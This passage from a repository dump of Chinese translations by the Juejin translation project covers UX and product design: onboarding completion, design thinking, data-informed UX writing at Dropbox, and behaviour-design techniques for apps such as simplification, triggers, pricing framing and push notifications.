轮调整。\n\n从视觉设计的角度来说，我们的手机应用要和我们的品牌相契合。任何新的设计不仅需要在语言上保持一致性，还要重复使用必要的图案。所以我们和我们一流的[品牌设计团队](http://intercombrandstudio.tumblr.com/)一起合作完成了介绍页面和确认页面的图案。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13211837/illustrations.png)\n\n要成功说服用户，内容是至关重要的。我们需要解释清楚，为什么个人信息有那么重要。我们的内容策划师  [Elizabeth McGuane](https://blog.intercom.com/author/emcguane/) 也会亲临设计工作，以此创造出更加扣人心弦的体验，并帮助用户理解个人信息的重要性。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20142756/Screen-Shot-2017-03-20-at-14.27.34-e1490020092177.png)\n\n## 测试和调整\n\n即使我们添加了之后提醒我的选项，我们依然清楚，会有很多用户跳过，他们不会按照流程去走。所以关键是要对整体的完成率和组件完成率进行数据上的统计，然后基于结果在测试阶段进行调整。\n\n我们第一个版本达成的完成率相当低，特别是安卓版本。所以我们对设计又做了大量的调整，比如让之后提醒我的按钮不那么明显，调整布局和内容，使其多一点趣味性，少一点指导意味。\n\n## 开发一个用户真正会使用的功能\n\n经过一周的快速调整与监控，用户的个人信息完成率大幅度上升。由于多个小组的共同参与，我们看到了我们**信息完成率在一个月内从 14% 涨到了 46%**。这种移动端的设计流程大大推动了完成率的上升，而我们也从中总结了一系列具体的关键点，可以让我们将其应用到下一个项目中去。\n\n- 确保问题对所有利益相关者和所有团队都是清楚明确的\n- 用调查和数据解决问题，用概要目标去指导解决方案\n- 不管做什么都要脚踏实地仰望星空\n- 设计要尽早和程序对接，交换想法并明确概念\n- 交互设计要尽早确定下来，趁着调整还不太难\n- 明确成功的度量方法，跟踪解决办法是否有效，并确保还有时间进行调整\n\n遵循这样一个明确、有逻辑的流程，大大增加了用户真正去使用新特性的可能性。起初整个流程可能会看起来太复杂，但是一旦养成了习惯，就会成为下意识的做法。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/design-thinking-not-just-another-buzzword.md",
    "content": "> * 原文地址：[Design Thinking, Not Just Another Buzzword](https://blog.prototypr.io/design-thinking-not-just-another-buzzword-3075722b51c8#.g6z3e5oz7)\n* 原文作者：[Marco Lopes](https://blog.prototypr.io/@marcolopes?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[bobmayuze](https://bobmayuze.github.io/)\n* 校对者：[FrankXiong](https://github.com/FrankXiong), [Tina92](https://github.com/Tina92)\n\n![](https://cdn-images-1.medium.com/max/2000/1*0BVz9TeT1HG-6ejPvInoQw.jpeg) \n\n# 设计思考，不只是流行词而已#\n\n&rlm;设计思考是常常被人们提到的概念之一，但大家对于它的精确定义却是众说纷纭。\n\n#### 定义 ####\n\n这个思维方式不是一个被孤立，独立的学科。设计思考更像是一个综合性的，多方法论的，用来解决工程学方面问题的交叉领域思维方式。设计思考主要由多领域的协作和产品不断迭代更新构成。社会上关于这个思维方式的归属有很大的争议：有的人认为这只是一种方法论，还有人认为这种思维方式应当被认为是哲学。然而，大家都同意的是：设计思考是一个 **系统化的解决问题的方式** 并且能 **带来许多新的机遇**\n\n### 设计思考的起源 ###\n\n\" 设计思考之所以被创造出来是因为大公司往往缺少创新能力。甚至在极端的情况下，不能为用户们的未满足的需求提供新的产品与服务。这个锅应该由 20 世纪的教育系统来背，因为他们只注重主流逻辑思想而摒弃创造力。 \"\n\n\n[**设计思考的起源**](https://www.wired.com/insights/2014/04/origins-design-thinking/)\n\n\n> 设计思考是一个一揽子解决方案，可用性和复用性都非常高的方式。一个思考方式适合所有遇到的问题。事实上，这是一个在传授问题解决能力的时候非常有教育意义的一个思考方式。\n\n**正确的打开方式**\n\n\n我通常会把这个思考方式分成 2 部分。第一部分：发散性思考，尽可能的想出多的、有创造力的解决方案。在这一阶段方案的可行性不是最重要的，而是新的思路。同时，还需要承认方案的不稳定性，在实践中不断获取反馈并且修正自己的方案。在早期失败没什么大不了的，代价也很小。（译者加：中国有句古话：早死早超生。）\n\n— — — \n\n第二部分，也就是过程设计，相对第一部分来说就更加理性，更关注在系统层面上如何解决这个问题：把解决方法分割成一步一步的方式来帮助我们解决问题。\n\n这一整个过程的目的就是创造一个新的产品，或者获取一段人们想要的并且有可能变得非常有帮助的经历。并且可以通过技术简单、方便地构建出来然后解决问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*6TsQXpS16jzWku1CR2CBog.jpeg)\n\n一次只关注着一个阶段就好，不要吃着碗里的盯着锅里的。\n\n我接下来会把整个过程分为 6 部分让我们可以一起过一下。由于设计思考的高复用性，我们可以根据实际情况中遇到事件的大小做出相应的更改。\n\n下面这张图可以用来当设计思考的附加说明。你可以几乎不需要估计先后，直接做某一个步骤，然后通常会在一个步骤来回很多次。它是一个十分惊艳的教学工具，并且能深入浅出的解释设计思考的理念\n\n![](https://cdn-images-1.medium.com/max/2000/1*PDTWHDUVUGq5AvZLLlYa7Q.jpeg)\n\n### 第一步：同理心（站在用户的角度想问题）###\n\n同理心是一种能让我们站在他人的角度来观察问题的能力，并以此来理解你的用户。\n\n![](https://cdn-images-1.medium.com/max/1000/1*ldIauRBquhAgvFTMno9hfw.png)\n\n和用户进行高效的交流，知道他们是怎么想的非常重要。设计思考的重点通常在于质而不是在量。这意味着在交流中需要尽可能的选择少数的，具有代表性的用户，这是非常重要的。\n\n> 面谈不只是同感的唯一方式\n\n在第一阶段时，你可以用很多非常高大上的工具，比如说可以列出人们怎么说、做、想和感觉的同理图（Empathy Map）。\n\n画同理图帮助我们理解其他人是怎么思考和感受的。一般来说，调查笔记会按照受访者使用你的产品时的想到了什么，看到了什么，感受到了什么和听到了什么来分类。\n\n![](https://cdn-images-1.medium.com/max/800/1*hbqEtm83r4qf7KLu1g7ljg.jpeg)\n\n**关于同理图的资源:**\n\n[**如何使用同理图 | UX Magazine**](https://uxmag.com/articles/how-to-use-persona-empathy-mapping)\n\n[**论同理心的正确打开方式**](https://uxmag.com/articles/how-to-use-persona-empathy-mapping)\n\n[**10分钟用户解析大法**](https://www.uxpin.com/studio/blog/the-practical-guide-to-empathy-maps-creating-a-10-minute-persona/)\n\n\n\n### 第二步：定义问题 ###\n\n现在是时候回过头看看我们遇到的问题并且重新定义它了。**用户 + 需求 + 洞察力**\n\n结合你的调研并且观察你的用户们的真实问题到底在哪里。指出问题的根源，并且开始关注创新的可行性，找准用户的需求。\n\n![](https://cdn-images-1.medium.com/max/1000/1*yNLmbbgoERUpBto5ELx-Cg.jpeg)\n\n基于你的换位思考来重新定义你需要解决的问题。\n\n### 第三步：头脑风暴 ###\n\n尽可能地提出疯狂的，有创造力想法。\n\n**在我看来，头脑风暴是这个思维方式里最有趣也是最激动人心的环节**\n\n![](https://cdn-images-1.medium.com/max/1000/1*lPIWX8-cw9AEb-VOwlR8BA.png)\n\n头脑风暴 = 被释放的想法 + 没有约束（译者：unleash通常用来被释放恶魔）\n \n一旦当一个问题/机会被清楚的定义之后，我们便开始寻找解决它的办法。**尽可能的想出多的解决方案。** 在这一阶段，我们不应当因为解决方式太简单或者太基础就抛弃他们。任何一个想法都可能是另外一个想法的种子，所以认真的对待这些种子吧！\n\n此时我们应该把提出解决方案和评估方案可行性这两个步骤分开来。我们之后在**原型测试**的阶段再做方案可行性评估。\n\n头脑风暴就是让\"桌面\"上的东西变多，摒弃原有的思路和框架。**头脑风暴就是拥抱多选择，多解决方案，拓展性高的方案**\n\n设计思考同时也会让整个团队脑洞大增，成长为一个多选择方案的团队。这样的团队在解决问题时往往能提出站在不同视角的想法，也往往能给出一个更好的答案\n\n#### 花时间用心聆听你的队友们的反馈 ####\n\n在这个阶段的最后，细分筛选所有的想法并留下最好的来为下一步做准备。\n\n**参考资源:**\n\n[**思考方法**](http://www.ideou.com/pages/ideation-method-mash-up)\n\n[**\"从想法到行动\"**](http://www.ideou.com/pages/ideation-method-mash-up)\n\n\n\n\n### 第四步：原型测试 ###\n\n“一个原型测试比的上开 1000 场会”，来自 [**IDEO**](https://www.ideo.com/post/design-thinking-for-educators)*.*\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*MWmT7HaDVgebvbqXqAmGgQ.png\">\n\n\n*原型测试最重要的一点就是“模拟或者一个最终产品的简易模型”来测试，这样就能避免在我们找到适合的方案前花大量的时间和金钱在不适合的产品上*\n\n在原型制作时，我们失败的很快，但是学习起来也很快。早期失败的代价比后期失败的代价要小的多的多。\n\n这一步有很多实现的方法比如\"草图\",\"快速原型制作\"之类的。不论你选择哪一种方法，他们的本质都是一样的：我们通过建立模拟模型来确认我们的解决方案是否真的契合我们的问题。在这一阶段，我们应当制作快速，简单，低成本的原型。\n\n基于这些内容，一个原型便可以慢慢的成长成为一个内测的产品或者是最小可行性模型（MVP）。\n\n**原型制作相关资源:**\n\n[**什么是原型，什么不是原型 | UX Magazine**](https://uxmag.com/articles/what-a-prototype-is-and-is-not)\n\n[**原型制作指南**](https://www.uxpin.com/studio/blog/what-is-a-prototype-a-guide-to-functional-ux/)\n\n\n### 第五步：测试 ###\n\n这一步的名字基本上就说明了这一步要做什么。在这一步，我们需要测试我们的原型并且收集用户的反馈，同时更加了解我们的用户。此外，我们还能知道我们的方案到底能不能解决问题。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*J6wm2lOAwODVntKi4ADWEw.png\">\n\n在测试的阶段，让用户们随意蹂躏你的原型吧！如果有小的调整可以做，那就修改并且重新测试吧。接近用户，**更重要的是，不要对自己的想法过分偏执，要多听听用户的想法**\n\n**测试阶段的相关资源:**\n\n[**13种面对初创公司的测试原型方法**](http://thenextweb.com/dd/2013/08/10/13-ways-to-master-ux-testing-for-your-startup/)\n\n\n[**UX必须掌握的测试工具**](https://uxdesign.cc/ux-tools-for-user-research-and-user-testing-a720131552e1)\n\n\n#### 最后说点什么 ####\n\n设计思考是一个从设计挑战开始，站在他人角度看待问题（采访、观察、经历），（重新）定义问题，拥抱新的想法然后用原型测试和迭代原型的一个方法/过程。\n\n它可以被看做是一个问题解决的方法。某种意义上来说，是解决问题的思维方式。\n\n作为一个以解决方案为向导的问题解决方法，设计思考在面对很多棘手的问题时非常有效。\n\n**相关资源:**\n\n[**Design Thinking**](https://designthinking.ideo.com/)\n\n\n### [设计思考指南](https://dschool.stanford.edu/groups/dresources/wiki/welcome/attachments/8e447/d.school%27s%20Design%20Thinking%20Process%20Mode%20Guide.pdf)###\n\n[**设计思考101**](https://www.nngroup.com/articles/design-thinking/)\n\n\n[**设计思考正确的打开方式**](https://medium.com/design-thinking-in-motion/design-thinking-unboxed-1476f7c88641)\n\n\n**感谢阅读，如果你有任何的建议和意见，请给我留言！**\n\n"
  },
  {
    "path": "TODO/design-words-with-data.md",
    "content": "> * 原文地址：[Design words with data](https://medium.com/dropbox-design/design-words-with-data-fe3c525994e7#.8dg1elnkf)\n* 原文作者：[John Saito](https://medium.com/@jsaito)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者：[Zhiw](https://github.com/Zhiw), [marcmoore](https://github.com/marcmoore)\n\n![](https://cdn-images-1.medium.com/max/1000/1*M1N7HJEyqpyaT71xVEBVSQ.jpeg)\n\n# 科学写作\n\n## 在 Dropbox，数据是如何帮助我们更合理地写作\n\n写作也是一种艺术创作。有些文字能让我们放声大笑、感动流泪或者激励我们去完成伟大的事业。\n\n但我想说的是，写作也是一门科学。数据能带来额外的写作源泉并且帮助我们更客观的规划写作的内容。\n\n### 孰对孰错？\n\n作为一位在 Dropbox 工作，从事用户体验方面的作者，我们的目标就是确保所写的每一个字都言之有理。一处用词不当就会破坏用户的体验。任何一个意义不明确的按钮、标签或者不太常用的专业术语都很容易让用户受挫。\n\n为了保证我们选用的是正确的文字，我们会使用一些技术手段来帮助我们在写作中做出更合理的选择。\n\n### 1. Google 趋势\n\n假设你尝试在一些不同的专业术语中决定用哪一个最恰当。举个例子来说，以下哪些术语你觉得应该在产品中使用？\n\n- Log in\n- Log on\n- Sign in\n- Sign on\n\n你可以试试看 [Google 趋势](https://www.google.com/trends/)。只需要输入所有的这些术语并用逗号隔开。`Google 趋势`比较人们在 Google 上对这些术语进行搜索的频次。这个搜索结果自动包含类似 \"facebook log in\" 或者 \"can't sign in\" 这样的短语。\n\n所以 `Google 趋势`想告诉我们什么呢？\n\n![](https://cdn-images-1.medium.com/max/800/1*9NBykN1q0YApaT2h4s4NCw.png)\n\n哈哈！看上去 \"sign in\" 是明显的赢家。这意味着当人们提到这个操作的时候，他们更加喜欢使用 \"sign in\"。如果想让你的文字符合用户的期望，相比其他备选，\"sign in\" 可能是一个更加安全的选择。 \n\n---\n\n在 Dropbox，我们意识到在 \"version history\" 这个特性上，我们使用了不同的术语。 \n\n![](https://cdn-images-1.medium.com/max/800/1*ohhKBv3jQfTbFB8CJapZ0Q.png)\n\n我们明白我们需要修正这些不一致性，但是我们并不确定使用哪一个。是应该使用 \"version history\"、\"file history\" 或者 \"revision history\"？我们不得不从多方面进行考虑，但是我们使用 `Google 趋势` 作为一个考量点帮助我们做出正确的选择。\n\n![](https://cdn-images-1.medium.com/max/800/1*HvjhGsKR3ZtutkZlfDToAQ.png)\n\n`Google 趋势`告诉我们人们会更喜欢搜索 \"version history\"，并且这也是为什么我们现在的产品中都把它称做 \"version history\" 的一个很重要的原因。\n\n### 2. Google Ngram 观察者\n\n[Ngram 观察者](https://books.google.com/ngrams) 有点类似于 `Google 趋势`，不过它搜索的是那些由 `Google` 收录的出版物。你能使用这些数据看看哪些术语在你的文字表达中是更常用的。\n\n`Dropbox` 最近在我们的 `iOS` 应用程序中启用了一套新的签名工具。在我们进行签名审核之前，你的手机屏幕上会显示 “Sign Your Signature”。\n\n![](https://cdn-images-1.medium.com/max/800/1*sGngF3GxPZhmfU2G7owU-g.png)\n\n我们知道 “sign your signature” 听上去很可笑。但是 “听上去很可笑” 并不足以改变它。我们如何才能说服团队成员来改变它呢？\n\n当我们转向 `Ngram 观察者`来对比 \"sign your signature\" 和 \"sign your name\" 的时候。它明确指出，\"sign your signature\" 根本不会被使用。当我们把这个数据结果分享给团队成员的时候，他们马上就把它替换成了 \"Sign your name\"。\n\n![](https://cdn-images-1.medium.com/max/800/1*Pg44k4J9VFHaEjQZcr0UwA.png)\n\n### 3. 可读性测试\n\n多年来，语言学家已经开发出了很多可读性测试的工具，它们能测量出你的文字是否容易理解。\n\n这些测试中有很多能对你的写作评定一个等级。举例来说，8 级意味着在美国的 8 年级学生可以理解你写的东西。\n\n我有一篇中篇小说 ([**怎么构思文字**](https://medium.com/@jsaito/how-to-design-words-63d6965051e9#.i3r1l4g4h)) 就是通过其中一个测试完成的。以下是它给出的结果： \n\n![](https://cdn-images-1.medium.com/max/800/1*Y-EsgPfmIQ_S-2XxMMA9Tg.png)\n\n你能从这里得到很多有趣的数据。例如：\n\n- 我写的这篇小说能达到 **6 年级的水平**\n- 我的文中的语气是**中立的**，但是**稍稍偏向乐观。**\n- 平均**每句话有 10.7 个单词**。（在 Dropbox，我们尝试把每句话的单词控制在 15 个或者更少。）\n\n如果你想要尝试下这些测试，可以参考以下内容。有些测试甚至能够给你提供修改意见，它们确保你的作品可读性更强。\n\n- [Readability-Score.com](https://readability-score.com/)\n- [Hemingway Editor](http://www.hemingwayapp.com/)\n- [The Writer’s Readability Checker](http://www.thewriter.com/what-we-think/readability-checker/)\n\n### 4. 研究性的调查问卷\n\n想尝试给新功能起个名字？或者应该关注什么价值？在类似这些情况下，它能帮助你建立一个研究调查问卷。\n\n许多调查问卷的工具允许你选择你的目标受众，所以你能方便地从潜在用户中获得反馈。\n\n你能从以下这些地方建立一些研究性的调查问卷：\n\n- [UserTesting](https://www.usertesting.com/)\n- [SurveyMonkey](https://www.surveymonkey.com/)\n- [Google Consumer Surveys](https://www.google.com/insights/consumersurveys/home)\n\n在当时，Dropbox 进行了一个问卷调查，为了搞清楚使用我们的产品能获得怎样的最大收益。许多人提到“访问” — 从任何设备上访问文件的能力。结果，我们重新设计了很多在登录页面上的广告词，它们更加关注访问。\n\n![](https://cdn-images-1.medium.com/max/800/1*bbe8abkKDJ7ijX9wo-sD_A.png)\n\n### 5. 用户研究\n\n对于收集那些能对你的作品带来价值的反馈来说，用户研究是一个非常好的方式。以一个典型的用户研究为例，你邀请了很多人读你的文章或者试用一个产品，之后，你通过问题获得相关反馈。这对于看看你的作品是否有意义，会是非常有帮助的。\n\n我们当中的一位研究人员最近进行了一个研究项目，它是有关我们测试的一个新的流程。有一条是这样的:\n\n> 选择“移除本地拷贝”来节省存储空间。\n\n我们问了参与者们他们会否使用这个功能。大部分人都很难理解这个功能并且认为这个功能没什么用。所以之后，我们调整了单词的顺序，把能带给用户的好处放在句子的前部。\n\n> 为了节省存储空间，可通过选择“移除本地拷贝”。\n\n这次，参与者们更快地告诉我们他们想用这个功能。我们真正做的仅是调整了这些单词的顺序。\n\n这显示出一位作者的直觉是怎么转变成一个实验的，并且你能测试它，就好像其他设计的决定。\n\n### 用心写作，用智慧构思\n\n当你正准备构思一些明确的作品的时候，数据是非常有用的。但是这并不意味着你应该如一台机器一般工作。\n\n我的方式是，首份草稿应该出自你内心所想。相信你自己。在你写出你的想法之后，才是你开始研究和让数据精炼你的文字的时候。\n\n写作即是一门艺术又是一门科学。通过心灵创作，智慧构思，你就能创造出即真实又合理的作品。\n\n数据带给你作为一位作者的信心。数据让你的作品更加\"准确\"。\n"
  },
  {
    "path": "TODO/design-your-app-for-decision-making.md",
    "content": "> * 原文地址：[Design your app for decision-making](https://medium.com/googleplaydev/design-your-app-for-decision-making-e9e5745508e4)\n> * 原文作者：[Jeni](https://medium.com/@_jeniwren?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/design-your-app-for-decision-making.md](https://github.com/xitu/gold-miner/blob/master/TODO/design-your-app-for-decision-making.md)\n> * 译者：[PTHFLY](https://github.com/pthtc)\n> * 校对者：[ryouaki](https://github.com/ryouaki)\n\n# 想帮助用户做决定？你的APP可以这样设计！\n\n## _简单化，触发器，激励 — 一个优化用户行为的三步走方法_<sup><a href=\"#note1\">[1]</a></sup>\n\n![](https://cdn-images-1.medium.com/max/800/1*wsvauosvxPMm0R6rlKXR_g.jpeg)\n\n如果你从事移动APP行业，每一天你都有潜在机会影响几百万人的行动。无论是参与使用一个新功能，每天访问你的应用，或是订阅你的增值服务， 你往往很可能在心里有一个希望更多用户会做的关键行为。但是你如何才能增加用户行动的机会呢？\n\n无论你希望的行为是什么， 这篇博文将会把一个优化用户行为结果的三步走方法介绍给你，分别是简化、触发器、积极性（其中的第一部分借鉴了来自于行为经济学、心理学和游戏化的理念）。特别地，在这篇博文中我们将覆盖前两步，也就是简化和触发器。\n\n当考虑鼓励某个特定的用户行为策略的时候，你应该从哪里开始？斯坦福 [Persuasive Tech Lab](http://captology.stanford.edu/) 的院长，BJ Fogg博士创建了 Fogg 行为模型，来评估三个因素（能力、触发器、积极性）对于给定行为发生可能性的影响：\n\n![](https://cdn-images-1.medium.com/max/800/0*dP-BAPMCWX9uKBuj.)\n\nFogg 行为模型\n\n模型指出三个影响用户行为的原因，并由此导出三个驱动行为改变的关键步骤\n\n* 步骤一：**简化**所需的行为。通过降低（最好是移除）不利于行为发生的阻碍来鼓励有参与感、有积极性的用户发生行为。\n* 步骤二：**触发**来自于积极用户<sup><a href=\"#note2\">[2]</a></sup>的行为。『触发器』（提示、提示音、行为召唤）的出现甚至可以在积极性水平略低的情况下驱动行为。\n* 步骤三：激发用户的**积极性**。积极性很难被影响，但是如果所需的行为相当『容易』去做，通过吸引人的信息或者加入游戏因素来提升积极性水平可以激励用户按你的想法行动。\n\n到此为止还不错。但是你如何执行这些步骤呢？以下我们将会深入探讨前两项步骤。（我会在未来的博文中讨论第三步，激发用户积极性）\n\n### 步骤一，简化所需行为\n\n你希望用户去做的行为必须非常容易做到（做起来很少或者没有阻碍）并且容易作出决定（有清晰易懂的好处）。我们做出的每个行为都需要付出代价（比如时间、金钱和认知负担）。这些代价是一种阻碍，每个决定都在代价和收获的好处之间权衡的结果。比如，我们中许多人在年初都会有变得健康的强烈冲动，但是当真需要付出必要锻炼的时候又会导致许多决心的破产。\n\n什么阻碍或者『要求』会降低你的用户进行行动的机会呢？通常用户会付出代价的阻碍包括繁琐的手动输入，冗余的界面，过量的选择，以及因为没有清晰告诉用户要干什么从而引起困惑的信息。这些阻碍可以通过分析用户在应用内的行为数据来定量辨别，也可以通过用户搜索等方式定性识别。一旦你已经识别了用户行动的阻碍，就到了降低或者移除它们的时候了。\n\n#### **降低行动所需时间**\n\n从应用被发现到下载需要有几次点击，更不用说等待下载完成的时间。然而 [Android Instant Apps](https://developer.android.com/topic/instant-apps/index.html) 是一个通过立即进行本地体验无需下载门槛，让用户快速完成许多任务的选择（例如看一个视频或者支付）。\n\n![](https://cdn-images-1.medium.com/max/600/1*R4kv3XMr9rpphokMjS0jRA.png)\n\n一旦你的用户打开了你的应用，注册过程是下一个繁琐、耗时的雷区。比起每次都要求用户登录，开发者们喜欢的 [Ticketmaster](https://play.google.com/store/apps/details?id=com.ticketmaster.mobile.android.uk) 和 [AliExpress](https://play.google.com/store/apps/details?id=com.alibaba.aliexpresshd) 通过整合 [Google Smart Lock](http://get.google.com/smartlock/#for-passwords) 能够有效省略手动密码这一步骤。它们随后就能看见登录失败的比例大幅下降。\n\n通过进行漏斗分析，开发者能够跟踪核心流程中的用户流失情况，帮助定位所需行为的阻碍。在实行漏斗分析方面，食品配送公司 [Deliveroo](https://play.google.com/store/apps/details?id=com.deliveroo.orderapp) 识别了一个在首次结账环节的转换流失。他们注意到同样的流失情况并不会在已经将支付和配送信息的存储在应用中的老用户身上发生。意识到他们的注册流程可能是问题的一部分，团队优先考虑部署 [Android Pay](https://developers.google.com/android-pay/) 来为新用户创造一个简单的结账体验。\n\n![](https://cdn-images-1.medium.com/max/600/1*bst4m7qIgfsAuyybPOIAsw.png)\n\n#### **降低（实际存在或是可察觉的）花费**\n\n降低花费不是意味着你应该全盘降低价格！真实含义是每个预期的购买者有一个不同的『甜蜜点』，根据应用匹配程度、用户位置以及用户综合支付能力反映出他们认为合适的价格。\n\nTamzin Taylor，Google Play的西欧应用主管，曾经讲出了一些有关于价格优化的最佳关键实践，比如使用 [Big Mac Index](http://www.economist.com/content/big-mac-index) 进行购买力对比，从而评估每个市场的实际支付能力。\n\n[![Watch the video](https://raw.github.com/GabLeRoux/WebMole/master/ressources/WebMole_Youtube_Video.png)](https://www.youtube.com/embed/LQ6MsPmUa38)\n\n另一个降低成为潜在购买者门槛花费的方法是降低初始消费要求。我们最近为应用订购做的 [Introductory Pricing](https://support.google.com/googleplay/android-developer/answer/140504#intro) 功能允许你做到这件事。\n\n当我们考虑可察觉的花费的时候，价格显示的方式对价格的感知有重大的影响这件事很有必要被注意带。\n\n**1. 锚定效应**\n\n开发者和零售商经常通过[堆叠『好』、『更好』、『最好』等词](https://hbr.org/2013/02/why-good-better-best-prices-are-so-effective)试图『推动』用户去购买某个特定商品。这个方法会因为标志价格与更便宜或更贵的价格点一起放置而起作用。更高价格的『最好』选择扮演了一个参考点，或者说锚点，让用户认为标准价格看起来是个更便宜和超值的选择。\n\n> 在一定情境里，我们倾向于中间价格因为他们看起来『公平』。\n> — [Derek Thompson](https://medium.com/@dkthomp), The Atlantic\n\nDan Ariely 通过一个在他的书《Predictably Irrational.》中一个现在很著名的关于经济学家价格策略的例子引起了我们的注意。杂志提供了三种选择：一个 59 美金的电子版，一个 125 美金的纸质版和一个 125 美金包含纸质和电子两种版本的套餐。Ariely 指出『相对于纯纸质选择，电子+纸质的选择看起来明显超值』，这个说服我们购买第三个选择因为这个『更容易』评估某物的价值当它被放置在有另一个明显不如它的选择旁边。\n\n**2. 框架效应**\n\n给你两个选择：一个付 60 美金一年，一个付 5 美金每个月，你会选哪个？许多有订阅功能的应用会向潜在购买者高亮显示年付的价格，而不是月付价格。因为这会显得被察觉的价格更低，虽然在一年中他们的花费是一样的。\n\n![](https://cdn-images-1.medium.com/max/600/1*S8DAVtjS0Z48RSJyzbzkKQ.png)\n\n#### **降低认知负担**\n\n你给用户提供越多选择，用户在比较选择和做决定中的心理负担就越沉重。\n\n作为开发者，在用户使用过程的关键节点，除了评估你提供给用户的选择本身，评估你显示选择的方式也值得，因为这将会对做决定的过程有巨大的影响。\n\n**限制的价值**\n\n比如，在航班应用 [Skyscanner](https://play.google.com/store/apps/details?id=net.skyscanner.android.main) 中搜索经常获得上千条结果。你可以理性地辩解说顾客们应该衡量每个单独结果的价值。但是在有限时间和认知负担的阻碍下，Skyscanner 决定以一种更好理解的方式聚合结果，从而限制选择。当同样数量的结果被返回，这个页面展示上的简单改变提升了 14% 的转化率。\n\n**默认的重要性**\n\n总的来说，人们跟随最少阻碍的路径行动。这意味着预先设置的选项是优化用户行为的有力工具，尤其是当这些默认选项对用户有明显好处的时候。\n\n* 例如，食谱应用 [Simple Feast](https://play.google.com/store/apps/details?id=com.simplefeast.android.app) 决定在增值服务的页面强调他们年付订阅。他们用视觉强调的方式展示，并设定为默认用户选择。结果他们发现选择年付订阅的用户增加了。\n\n* 复选框一个表面上的小改变也有巨大的影响。默认的力量已经被利用并产生了巨大的影响，并在诸如器官捐献领域，很多国家的表格都有『自愿退出』的政策。[点击查看更高的器官捐献同意比例](http://www.dangoldstein.com/papers/JohnsonGoldstein_Defaults_Transplantation2004.pdf)。为什么？因为人们倾向于继续维持现状。\n\n### Step 2. 触发积极用户的行为\n\n鼓励所需用户行为的第二步是在主动用户的相关路径中设置相关触发，从而表现出可操作性。BJ Fogg有一个一个值得纪念名言：『在积极用户的使用路径上放置热点触发器』。触发器往往对于用户来说是陌生的，因为它是一个从开发者角度给出的想要影响用户下一步行为的提示、提醒或者行为召唤。一个推送在这个意义上是一个触发器，并且当它是可操作、定制化、时间合适的时候会非常有效。\n\n语言学习软件的 [Busuu](https://play.google.com/store/apps/dev?id=8335366955203612525) 的产品主管 [Antoine Sakho](https://medium.com/@antoinesakho) 在他的 [Medium 文章](https://medium.com/@antoinesakho/designing-push-notifications-that-dont-suck-af6aaa0ea85) 中介绍了他们如何在他们的推送策略中应用 [Nir Eyal](https://medium.com/@nireyal)的[钩子模型](http://www.nirandfar.com/hooked) ，从而获得推送打开率300%的增长。他写道：\n\n> _首先，我们通过个性化推送提示用户_ **_ (外部触发) _** _从而引发好奇_ **_(内部触发)_**_. 点击推送， 他们会经历一个测试 **_(行为)_**_。 在测试的最后， 他们会看到一个包含分数的恭喜页面_ **_(奖励)_**_。 最后，通过训练他们已经学到的词汇，他们强化了长期记忆_ **_(投入)_**.\n\n![](https://cdn-images-1.medium.com/max/800/0*rEsZdKUne9TjMfzu.)\n\n钩子模型，应用于 Busuu 的用户召回活动\n\n尽管推送对于有效召回用户有一定保证，你还是应该避开这些常见陷阱：\n\n1. 在不合适的时间推送通知或者推送与用户环境无关的信息，只会产生巨大的反作用。\n2. 总是推送相同消息会很快被用户厌烦：跟随Busuu的指引，永远不要把同一条通知推送两遍。\n3. 不要归于依赖推送来驱动用户行为。当无需提醒用户也能主动参与应用内容的时候，应用习惯才会最终养成。[Nir Eyal](https://medium.com/@nireyal) 在他 [Medium 文章](https://medium.com/behavior-design/the-psychology-of-notifications-how-to-send-triggers-that-work-25c7be3d84d3#.e4sbkzj7l)中总结了这些：\n\n> _能让人养成习惯的产品会在内部触发被感知的时候（比如不确定感或者无聊感）结合外部触发器（例如推送），让用户养成习惯。_\n\n最成功的外部刺激是立即反馈。因此你如何构建清晰的时刻。所以你如何在用户应该在确定时刻采取行动的思想下构建这种反馈？根据 [Prospect 理论](https://en.wikipedia.org/wiki/Prospect_theory)，人们行动会倾向于避免损失，因为同样数量下损失的痛苦会大于获得。这意味着比起有维护的已得的事物，我们更倾向于避免错过一些事情。\n\n限时限量促销是核心工具，许多开发者用它来驱动用户立即购买而不是之后再说。这些手段被我们对失去的厌恶驱动。毕竟，不行动很快导致一种可能性 —— 『错过』交易或者物品。这个点子也可以被用作构建更具说服力的信息。例如，你可以选择聚焦在你用户在不行动可能失去，行动了才会获得的东西。\n\n![](https://cdn-images-1.medium.com/max/800/0*WtMs-w9cf21LbpB0.)\n\n健康和生活方式 app [Lifesum](https://play.google.com/store/apps/details?id=com.sillens.shapeupclub) 在加入为新用户准备的限时『新手套装』的第一天就看到了 15% 的增长。 『仅在今天』的信息形成了一种防止错过的紧迫感，驱使用户立即行动。\n\n**关键结论总结:**\n\n* 在代价和必要资源没有清晰地与最终价值挂钩的时候，用户将不会行动。\n* 如果在可选项之间很难进行评估和选择，用户也不倾向于行动。\n* 如果你在内容中给用户提供相关、可操作的触发，用户更倾向于进行按开发者意愿行动。\n\n在 **3月19日周五****8:30 am (PST)** 加入或者访问 [Google I/O talk, “Boost User Retention with Behavioral 